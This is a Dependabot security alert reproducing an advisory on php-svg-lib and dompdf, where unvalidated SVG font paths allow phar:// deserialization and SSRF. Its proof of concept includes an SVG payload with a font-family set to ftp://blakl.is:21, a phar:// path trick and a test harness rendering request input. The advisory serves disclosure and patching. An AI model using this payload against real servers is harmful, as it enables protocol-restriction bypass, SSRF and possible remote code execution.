Dependabot alerts / #3

Dompdf's usage of vulnerable version of phenx/php-svg-lib leads to restriction bypass and potential RCE #3

Dismiss alert

Open Opened 7 hours ago on **phenx/php-svg-lib** (Composer) · application/libraries/dompdf/composer.json

Upgrade phenx/php-svg-lib to fix 3 Dependabot alerts in application/libraries/dompdf/composer.json

Upgrade phenx/php-svg-lib to version `0.5.2` or later. For example:

```
"require": {
  "phenx/php-svg-lib": "0.5.2"
}
```

Create Dependabot security update

Package	Affected versions	Patched version
phenx/php-svg-lib (Composer)	`< 0.5.2`	`0.5.2`

Summary

A lack of sanitization/check in the font path returned by php-svg-lib, in the case of a inline CSS font defined, that will be used by Cpdf to open a font will be passed to a `file_exists` call, which is sufficient to trigger metadata unserializing on a PHAR file, through the phar:// URL handler on PHP < 8.0. On other versions, it might be used as a way to get a SSRF through, for example, ftp, not restricted by authorized protocols configured on dompdf.

Details

The problem lies on the `openFont` function of the `lib/Cpdf.php` library, when the `$font` variable passed by php-svg-lib isn't checked correctly. A path is crafted through $name and $dir, which are two values that can be controlled through CSS :

```
$name = basename($font);
$dir = dirname($font);
[...]
$metrics_name = "$name.ufm";
```

```
[...]

if (!isset($this->fonts[$font]) && file_exists("$dir/$metrics_name")) {
```

Passing a font named `phar:///foo/bar/baz.phar/test` will set the value of $name to `test` and $dir to `phar:///foo/bar/baz.phar`, which once reconstructed will call file_exists on `phar:///foo/bar/baz.phar/test.ufm`. That allows to deserialize the `baz.phar` arbitrary file that contains a `test.ufm` file in the archive.

PoC

Consider the following, minimal PHP code :

```
<?php
require('vendor/autoload.php');

use Dompdf\Dompdf;
$dompdf = new Dompdf();
$dompdf->loadHtml($_GET['payload']);
$dompdf->setPaper('A4', 'landscape');
$options = $dompdf->getOptions();
$options->setAllowedProtocols([]);
$dompdf->render();
$dompdf->stream();
```

With payload being this html file :

```
<html>
<img
src="data:image/png;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiIHN0YW
</img>
</html>
```

with the base64 image being :

```
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg
xmlns:xlink="http://www.w3.org/1999/xlink" width="200" height="200">
    <text x="20" y="35" style="color:red;font-
family:ftp://blakl.is:21/x/y;">My</text>
</svg>
```

A connection on ftp://blakl.is:21/ will occur, bypassing the allowed protocols.

Impact

An attacker might be able to exploit the vulnerability to call arbitrary URL with arbitrary protocols, if they can force dompdf to parse a SVG with an inline CSS property using a malicious font-family. In PHP versions before 8.0.0, it leads to arbitrary unserialize, that will leads at the very least to an arbitrary file deletion, and might leads to remote code execution, depending on classes that are available.

○ dependabot bot opened this 7 hours ago

Severity

Critical 10.0 / 10

CVSS base metrics	
Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	High
Availability	High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Tags

Runtime dependency Patch available

Weaknesses

No CWEs

Related alerts

- Denial of service caused by infinite recursion when parsing SVG document
- php-svg-lib lacks path validation on font through SVG inline styles

CVE ID

No CVE

GHSA ID

GHSA-97m3-52wr-xvv2

See advisory in GitHub Advisory Database

See all of your affected repositories

See something to contribute?
Suggest improvements for this advisory on the GitHub Advisory Database.